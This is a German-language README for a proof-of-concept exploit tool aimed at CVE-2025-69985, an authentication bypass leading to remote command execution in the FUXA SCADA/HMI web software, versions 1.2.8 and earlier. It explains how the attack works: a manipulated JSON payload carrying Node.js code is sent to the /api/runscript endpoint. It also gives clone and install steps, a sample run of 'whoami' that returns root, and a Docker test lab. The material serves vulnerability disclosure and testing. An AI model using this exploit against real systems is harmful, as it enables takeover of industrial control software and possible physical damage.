FUXA ≤ 1.2.8 Authentifizierungsumgehung + Remote-Code-Ausführung (CVE-2025-69985)

📜 Beschreibung

Dieses Python-Exploit zielt auf CVE-2025-69985 ab, eine kritische Sicherheitslücke zur Authentifizierungsumgehung in FUXA (webbasierte SCADA/HMI-Software) Versionen ≤ 1.2.8. Durch das Senden eines manipulierten JSON-Payloads mit eingebettetem Node.js-Code an den ungeschützten Endpunkt /api/runscript erreicht es eine entfernte Befehlsausführung als FUXA-Prozess – wobei die vollständige stdout/stderr synchron in der Antwort erfasst wird.

🛠️ Installation

[!NOTE] Um eine saubere und isolierte Umgebung für die Projektabhängigkeiten zu gewährleisten, wird empfohlen, das Python-Modul venv zu verwenden.

OSX/Linux

git clone https://github.com/joshuavanderpoll/CVE-2025-69985.git
cd CVE-2025-69985
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt

Windows

git clone https://github.com/joshuavanderpoll/CVE-2025-69985.git
cd CVE-2025-69985
python -m venv .venv 
.venv\Scripts\activate
pip3 install -r requirements.txt

⚙️ Verwendung

python3 CVE-2025-69985.py -u http://localhost:1881/ -c whoami

 Target : http://localhost:1881
 Command: whoami

[*] Preparing payload → executing: whoami
[*] Sending exploit request to /api/runscript ...
[*] Response status: 200
[+] Command executed successfully (CVE-2025-69985 bypass)!

=== COMMAND OUTPUT ===
"root\n"
======================


======================================================================
 Exploit completed!.
======================================================================

🐋 Docker PoC

cd docker/
docker compose down
docker compose up -d
# You can test at --url http://127.0.0.1:1881/

💻 Beispiel

📢 Haftungsausschluss

Dieses Tool dient ausschließlich zu Bildungs- und Forschungszwecken. Der Ersteller übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch das Tool verursacht werden.